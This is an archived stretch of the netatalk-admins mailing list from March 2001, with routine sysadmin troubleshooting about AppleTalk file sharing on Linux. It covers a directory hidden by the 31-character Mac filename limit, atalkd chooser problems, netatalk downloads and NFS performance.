Received: from 212-100-182-4.adsl.easynet.be ([212.100.182.4] helo=athlon)
	by bigglesworth.mail.be.easynet.net with smtp (Exim 3.16 #1)
	id 14dGW2-00068S-00; Wed, 14 Mar 2001 20:00:58 +0100
Message-ID: <02a701c0acb9$1f241700$0200a8c0@athlon>
From: "Bruno Waes" <bruno.waes@oxygenetic.com>
To: <so@server.i-clue.de>
Cc: <netatalk-admins@umich.edu>
References: <028d01c0acb1$ca978390$0200a8c0@athlon> <3AAFB76D.6C6A12AF@i-clue.de>
Subject: Re: invisibel directory ?
Date: Wed, 14 Mar 2001 20:01:05 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400


----- Original Message -----
From: "Christoph Sold" <so@server.i-clue.de>
To: "Bruno Waes" <bruno.waes@oxygenetic.com>

> > on the linux box, in a directory that is a netatalk volume, i have two
> > directories, owned by the same user, both directories have the same
> > permissions ... and both have a couple of .txt files in them.
> >
> > when i look at the volume from a mac, i can only see 1 of these two
> > subdirectories ????
> >
> > i restarted netatalk, i removed the .AppleDouble directories (in the
> > subdirectory that isnt visible on the mac no .AppleDouble directory gets
> > created ...) but with no luck, one of these two similar directories is
not
> > visible to the macs ...
> >
> > any ideas ?
>
> Show us the ls -lr output of those directories.


internetserver:/mnt/large/inkomende_ftp# ls -lr
total 8
drwxrwxrwx    2 ftpuser  ftpuser      4096 Mar 14 18:12 test - testing-
Grafisch bureau Testing
drwxrwxrwx    3 ftpuser  ftpuser      4096 Mar 14 19:12 print - Printing
Industries

here you are..

bruno


ps: netatalk 1.4b2+asun2.1.3-6 on debian i386 2.2.18pre21





From netatalk.administrators-errors@umich.edu  Wed Mar 14 15:33:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA06940
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 15:33:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04374
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 15:33:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA29375
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 15:30:20 -0500 (EST)
Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24665
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 15:26:55 -0500 (EST)
Received: from squirrel (IDENT:karelsf@squirrel.bio.brandeis.edu [129.64.50.7])
	by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.0) with ESMTP id PAA27163;
	Wed, 14 Mar 2001 15:26:52 -0500
Date: Wed, 14 Mar 2001 15:26:52 -0500 (EST)
From: Steven Karel <karelsf@brandeis.edu>
X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: <netatalk-admins@umich.edu>, Bruno Waes <bruno.waes@oxygenetic.com>
Subject: Re: invisibel directory ?
In-Reply-To: <02a701c0acb9$1f241700$0200a8c0@athlon>
Message-ID: <Pine.LNX.4.30.0103141525310.31112-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 14 Mar 2001, Bruno Waes wrote:

>
> ----- Original Message -----
> From: "Christoph Sold" <so@server.i-clue.de>
> To: "Bruno Waes" <bruno.waes@oxygenetic.com>
>
> > > i restarted netatalk, i removed the .AppleDouble directories (in the
> > > subdirectory that isnt visible on the mac no .AppleDouble directory gets
> > > created ...) but with no luck, one of these two similar directories is
> not
> > > visible to the macs ...
> > >
> > > any ideas ?
> >
> > Show us the ls -lr output of those directories.
>
>
> internetserver:/mnt/large/inkomende_ftp# ls -lr
> total 8
> drwxrwxrwx    2 ftpuser  ftpuser      4096 Mar 14 18:12 test - testing-
> Grafisch bureau Testing
> drwxrwxrwx    3 ftpuser  ftpuser      4096 Mar 14 19:12 print - Printing
> Industries
>

You can't see the first directory above because its name is more than 31
characters long.





From netatalk.administrators-errors@umich.edu  Wed Mar 14 17:16:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA10209
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 17:16:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 17:16:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA06248
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 17:16:44 -0500 (EST)
Received: from VL-MS-MR001.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA05867
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 17:16:43 -0500 (EST)
Received: from fnac.net ([24.201.28.2]) by
          VL-MS-MR001.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id GA7KIE01.BFO; Wed, 14 Mar 2001 17:15:50 -0500 
Sender: marco@fnac.net
Message-ID: <3AAFEC31.B75A1E75@fnac.net>
Date: Wed, 14 Mar 2001 17:09:53 -0500
From: marco a <marc.angles1@fnac.net>
X-Mailer: Mozilla 4.75 [fr] (X11; U; Linux 2.2.17-14 i586)
X-Accept-Language: fr, fr-CA, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: HELP please ! !
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I've posted this last week, perhaps there was no enough traffic on the
list
scuse me if redundant...
+++++++++++++++++++++++
Hi,
i just put eth1 in my atalkd.conf file, i have eth0 plugged on the
external network and eth1 on the internal one,
with 2 macs (g3-macOS9.1, g4-macOS9.1) and the linuxbox with
netatalk-1.4b2+asun2.1.3-22 installed
I start atalkd... 10'' and the name "laptop" appears in the chooser, i
can connect to the linux box, good !
20'' later when i relaunch the chooser for any reason, there is no
"laptop" in the chooser, and the led is flashing continuously,
I can connect with it just by the ip number
When I to stop here is the message:
[
root@laptop init.d]# ./atalk stop
Shutting down AppleTalk services: Can't unregister laptop:Workstation@*
Can't unregister laptop:netatalk@*
appletalk: Device or resource busy

the atalkd.conf was filled by herself :
eth1 -phase 2 -net 65280-65534 addr 65280.0

ifconfig gives :

[root@laptop init.d]# /sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 00:10:4B:DE:57:84
          inet addr:24.201.28.100  Bcast:24.201.28.255
Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:38833 errors:0 dropped:0 overruns:0 frame:0
          TX packets:48214 errors:0 dropped:0 overruns:0 carrier:0
          collisions:58

eth1      Link encap:Ethernet  HWaddr 00:E0:98:83:CF:F1
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0

          EtherTalk Phase 2 addr:65310/136
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:298361 errors:0 dropped:0 overruns:0 frame:673
          TX packets:282057 errors:0 dropped:0 overruns:0 carrier:0
          collisions:357

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          EtherTalk Phase 2 addr:0/0
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:382 errors:0 dropped:0 overruns:0 frame:0
          TX packets:382 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0

could you diagnose something doctor ??
or point me on a new way to do ?
thanks




From netatalk.administrators-errors@umich.edu  Wed Mar 14 17:36:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA10819
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 17:36:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA00938
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 17:36:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA00898
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 17:36:45 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA00848
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 17:36:43 -0500 (EST)
Received: from ns11-n67-109.de.inter.net ([213.73.67.109] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14dJso-0004aD-00
	for netatalk-admins@umich.edu; Wed, 14 Mar 2001 23:36:42 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.254])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id XAA22798
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 23:35:41 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: invisibel directory ?
Date: Wed, 14 Mar 2001 23:29:26 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <028d01c0acb1$ca978390$0200a8c0@athlon> <3AAFB76D.6C6A12AF@i-clue.de> <02a701c0acb9$1f241700$0200a8c0@athlon>
In-Reply-To: <02a701c0acb9$1f241700$0200a8c0@athlon>
MIME-Version: 1.0
Message-Id: <01031423354102.20048@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id RAA10819

On Wed, 14 Mar 2001, Bruno Waes wrote:
[snip]
> internetserver:/mnt/large/inkomende_ftp# ls -lr
> total 8
> drwxrwxrwx    2 ftpuser  ftpuser      4096 Mar 14 18:12 test - testing-
> Grafisch bureau Testing
> drwxrwxrwx    3 ftpuser  ftpuser      4096 Mar 14 19:12 print - Printing
> Industries

"test - testing-Grafisch bureau Testing" ?

That's the name of the directory?

Have you heard of a 31 Char. limit of Mac files? 8-)

But it's just some test of test-testing. ;-]

I Think that tells everything!

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Mar 14 19:06:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA12888
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 19:06:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA20568
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 19:06:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA20541
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 19:06:08 -0500 (EST)
Received: from dante.kinkaid.org (dante.kinkaid.org [207.80.142.250])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA20464
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 19:06:05 -0500 (EST)
Received: from [172.16.70.70] (cmorillo.kinkaid.org [172.16.70.70])
	by dante.kinkaid.org (8.10.2/8.10.2) with ESMTP id f2F05e714821;
	Wed, 14 Mar 2001 18:05:40 -0600
User-Agent: Microsoft Outlook Express Macintosh Edition - 5.01 (1630)
Date: Wed, 14 Mar 2001 18:05:41 -0600
Subject: Re: HELP please ! !
From: C <cmorillo@kinkaid.org>
To: marco a <marc.angles1@fnac.net>, <netatalk-admins@umich.edu>
Message-ID: <B6D56375.51BD%cmorillo@kinkaid.org>
In-Reply-To: <3AAFEC31.B75A1E75@fnac.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 3/14/01 4:09 PM, marco a at marc.angles1@fnac.net wrote:

> I've posted this last week, perhaps there was no enough traffic on the
> list
> scuse me if redundant...
> +++++++++++++++++++++++
> Hi,
> i just put eth1 in my atalkd.conf file, i have eth0 plugged on the
> external network and eth1 on the internal one,
> with 2 macs (g3-macOS9.1, g4-macOS9.1) and the linuxbox with
> netatalk-1.4b2+asun2.1.3-22 installed
> I start atalkd... 10'' and the name "laptop" appears in the chooser, i
> can connect to the linux box, good !
> 20'' later when i relaunch the chooser for any reason, there is no
> "laptop" in the chooser, and the led is flashing continuously,
> I can connect with it just by the ip number
> When I to stop here is the message:
> [
> root@laptop init.d]# ./atalk stop
> Shutting down AppleTalk services: Can't unregister laptop:Workstation@*
> Can't unregister laptop:netatalk@*
> appletalk: Device or resource busy
<snip>
> could you diagnose something doctor ??
> or point me on a new way to do ?
> thanks

If you are using a laptop, then I'm assuming you are using PCMCIA cards for
networking. I think I remember reading some place that in order for the
AppleTalk protocol to work correctly on some NICS, you had to turn on
promiscous mode on that eth interface.

 
-- 
C.



From netatalk.administrators-errors@umich.edu  Wed Mar 14 19:44:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA14024
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 19:44:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22050
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 19:44:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22016
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 19:44:19 -0500 (EST)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA21977
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 19:44:17 -0500 (EST)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id UAA51109
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 20:09:22 -0500 (EST)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <v04210108b6d522eaefd2@[216.155.36.73]>
Subject: Re: Where to get netatalk?
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Wed, 14 Mar 2001 19:44:29 -0500
Message-ID: <1eq9yg0.96cgia1b0jcq8M@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 51 days)

Are these the asun versions?


> Lee,
> 
>       http://sourceforge.net/project/showfiles.php?group_id=8642
> 
>       Is a good place for the new ones.
> 
>       http://www.anders.com/projects/netatalk/
> 
>       For the old ones.
> 
>       Ryan
> 


From netatalk.administrators-errors@umich.edu  Wed Mar 14 19:58:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA14241
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Mar 2001 19:58:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA20645
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Mar 2001 19:58:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA20609
	for netatalk.administrators-members@umich.edu; Wed, 14 Mar 2001 19:58:34 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA20503
	for <netatalk-admins@umich.edu>; Wed, 14 Mar 2001 19:58:33 -0500 (EST)
Received: (qmail 21641 invoked by alias); 15 Mar 2001 00:58:47 -0000
Received: (qmail 21627 invoked by uid 0); 15 Mar 2001 00:58:46 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 15 Mar 2001 00:58:46 -0000
Message-ID: <3AB01474.75321B25@potsdam.edu>
Date: Wed, 14 Mar 2001 20:01:40 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Lee Blevins <leeb@digitalgraphics.net>
CC: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Where to get netatalk?
References: <1eq9yg0.96cgia1b0jcq8M@cx448422-b.wwck1.ri.home.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


	Asun's patches have been incorporated into the main development tree
(1.5).

Lee Blevins wrote:
> 
> Are these the asun versions?
> 
> > Lee,
> >
> >       http://sourceforge.net/project/showfiles.php?group_id=8642
> >
> >       Is a good place for the new ones.
> >
> >       http://www.anders.com/projects/netatalk/
> >
> >       For the old ones.
> >
> >       Ryan
> >


-- 

 Matthew Keller
 Enterprise Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Thu Mar 15 04:08:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA23255
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 04:08:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA10007
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 04:08:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA09981
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 04:08:48 -0500 (EST)
Received: from altersack.local.wg28.de (pD9014946.dip.t-dialin.net [217.1.73.70])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA09824
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 04:08:44 -0500 (EST)
Received: from burner ([192.168.0.3])
	by altersack.local.wg28.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id LAA25769
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 11:12:35 +0100
Message-ID: <004601c0ad30$c4c73940$0300a8c0@local.wg28.de>
From: "Filip Lyncker" <lynck@schoese.de>
To: <netatalk-admins@umich.edu>
Subject: Multiple Ehternetdevices With Netatalk
Date: Thu, 15 Mar 2001 10:17:32 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0043_01C0AD39.25B16DE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200

This is a multi-part message in MIME format.

------=_NextPart_000_0043_01C0AD39.25B16DE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

HI !=20

To increase my network performance , I built 3 ethernetcards in my =
linuxbox. ( with my softraidsystem now 3 users can make transfers with =
100 mbit )
but now the Apples got problems to mount the share. When I try to mount =
the servershare by ip adress, im not shure if the apple is using still =
the same=20
if was beeing restarted. Another problem is , that the Apples wont =
auto-remount all of the volumes. When I do that manually, I get the =
error " the name is allready in use" . Ok so long , now I tried to edit =
the afpd.conf to configure more servers ( filesrv1, filesrv2, filesrv3 ) =
I gave each of them another Ip and another port. Now AppleOS wasnt able =
to restart, it allways hung while starting. It seems that it still wasnt =
able to differentiate the servers.

So , what can I do ???=20

Thanks for help=20


Fil



------=_NextPart_000_0043_01C0AD39.25B16DE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>HI ! </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>To increase my network performance , I =
built 3=20
ethernetcards in my linuxbox. ( with my softraidsystem now 3 users can =
make=20
transfers with 100 mbit )</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>but now the Apples got problems to =
mount the share.=20
When I try to mount the servershare by ip adress, im not shure if the =
apple is=20
using still the same </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>if&nbsp;was beeing restarted. Another =
problem is ,=20
that the Apples wont auto-remount all of the volumes. When I do that =
manually, I=20
get the error " the name is allready in use" . Ok so long , now I tried =
to edit=20
the afpd.conf to configure more servers ( filesrv1, filesrv2, filesrv3 ) =
I gave=20
each of them another Ip and another port. Now AppleOS wasnt able to =
restart, it=20
allways hung while starting. It seems that it still wasnt able to =
differentiate=20
the servers.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So , what can I do ??? </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for help </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Fil</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0043_01C0AD39.25B16DE0--


From netatalk.administrators-errors@umich.edu  Thu Mar 15 05:11:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA24272
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 05:11:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA14006
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 05:11:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA13970
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 05:11:50 -0500 (EST)
Received: from artemis.le.ac.uk (artemis.le.ac.uk [143.210.16.126])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA13826
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 05:11:48 -0500 (EST)
Received: from ithaca.mcs.le.ac.uk ([143.210.72.11])
	by artemis.le.ac.uk with esmtp (Exim 3.16 #1)
	id 14dUjR-0003lf-00
	for netatalk-admins@umich.edu; Thu, 15 Mar 2001 10:11:45 +0000
Received: from pc54 (pc54 [143.210.72.46])
	by ithaca.mcs.le.ac.uk (8.9.3+Sun/8.9.3) with SMTP id KAA20226
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 10:11:44 GMT
Message-Id: <200103151011.KAA20226@ithaca.mcs.le.ac.uk>
Date: Thu, 15 Mar 2001 10:11:44 +0000 (GMT)
From: "J. A. Landamore" <jal@mcs.le.ac.uk>
Reply-To: "J. A. Landamore" <jal@mcs.le.ac.uk>
Subject: netatalk on SPARC
To: netatalk-admins@umich.edu
X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4 SunOS 5.8 i86pc i386 
Content-Type: text
X-Sun-Text-Type: ascii

I assume from the facts that:

1) netatalk does not compile on a 64 bit SPARC Solaris using the Sun compiler
2) No-one answered my last e-mail about netatalk on 64 SPARC Solaris

that development of netatalk on SPARC Solaris is dead.


John Landamore                         | Please re-install Universe |
Sys. Admin                             |       and reboot           |
Dept Mathematics & Computer Science    |                            |
University of Leicester                |       Hogfather            |
University Road, LEICESTER, LE1 7RH    |    Terry Pratchett         |
J.Landamore@mcs.le.ac.uk
Phone: +44 (0)116 2523410       Fax: +44 (0)116 2523604


From netatalk.administrators-errors@umich.edu  Thu Mar 15 05:28:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA24618
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 05:28:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA24807
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 05:28:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA24782
	for netatalk.administrators-members@umich.edu; Thu, 15 Mar 2001 05:28:36 -0500 (EST)
Received: from jump.tangro.de (cray-ymp.tangro.de [193.155.17.164])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA24663
	for <netatalk-admins@umich.edu>; Thu, 15 Mar 2001 05:28:35 -0500 (EST)
Received: from janus.tangro.de (janus.tangro.de [193.155.17.163])
	by jump.tangro.de (8.9.3/8.9.3) with ESMTP id LAA11706;
	Thu, 15 Mar 2001 11:28:29 +0100 (CET)
Message-Id: <4.3.2.7.2.20010315102129.00b60620@mail.tangro.de>
X-Sender: hf@mail.tangro.de (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 15 Mar 2001 10:28:19 +0100
To: mht@research.dfci.harvard.edu
From: Hauke Fath <hf@Tangro.DE>
Subject: Re: Locking propigation probelm samba to netatalk & netatalk
  tosamba
Cc: Netatalk ML <netatalk-admins@umich.edu>
In-Reply-To: <3AAF9448.35BF6286@research.dfci.harvard.edu>
References: <Pine.LNX.4.30.0103130856020.19591-100000@www.molbio.wisc.edu>
 <Pine.LNX.4.33.0103131535130.1319-100000@pegmatite.iu13.k12.pa.us>
 <20010313221759.A11597@rakete.joerdens.de>
 <f05010400b6d503505628@[193.155.17.160]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 10:54 14.03.01 -0500, testing roaming wrote:
>         I've been living with various appleshare servers for more
>than a decade -- implementations from Pacer software on VMS (gasp)
>and Unix, CAP, Netatalk.   Several vendors attempted implementations
>of what they called "NFS/Share" or something like that.   All, as
>I recall, were horrendously slow -- not for file transfer but for
>duirectory scanning.   This was explained to me as having
>to do with the way in which Appleshare get's to know what is in
>subdirectories and required single iterative calls to find out what
>was there -- very bad if your directory has a few thousand files.
>I don't know if this is a technical issue that can't be overcome,
>but it seemed not to be trivial.

NFS, designed as stateless (all operations are synchronous), is not really 
fast, itself. And having to emulate file metadata operations that are 
designed into AppleTalk/AppleShare does not make it any faster.

The overall consensus seems to be that supporting the clients' native 
network protocols on the server side (Samba, Netatalk) works out better 
than mapping network protocols on the client side (to NFS, SMB, whatever).

>I believe they all disappeared.  Are any still around that
>you know of?

No. Even the Open Source NFS server project for the Mac was cancelled.

         hauke

--
Hauke Fath                        Tangro Software Components GmbH
                                         D-69115 Heidelberg
hf@Tangro.DE                       Ruf +49-6221-13336-0, Fax -21


From netatalk.administrators-errors@umich.edu  Thu Mar 15 05:58:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA24988
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Mar 2001 05:58:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA09443
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Mar 2001 05:58:06 -0500 (EST)
Received: (from daemon@localhost)
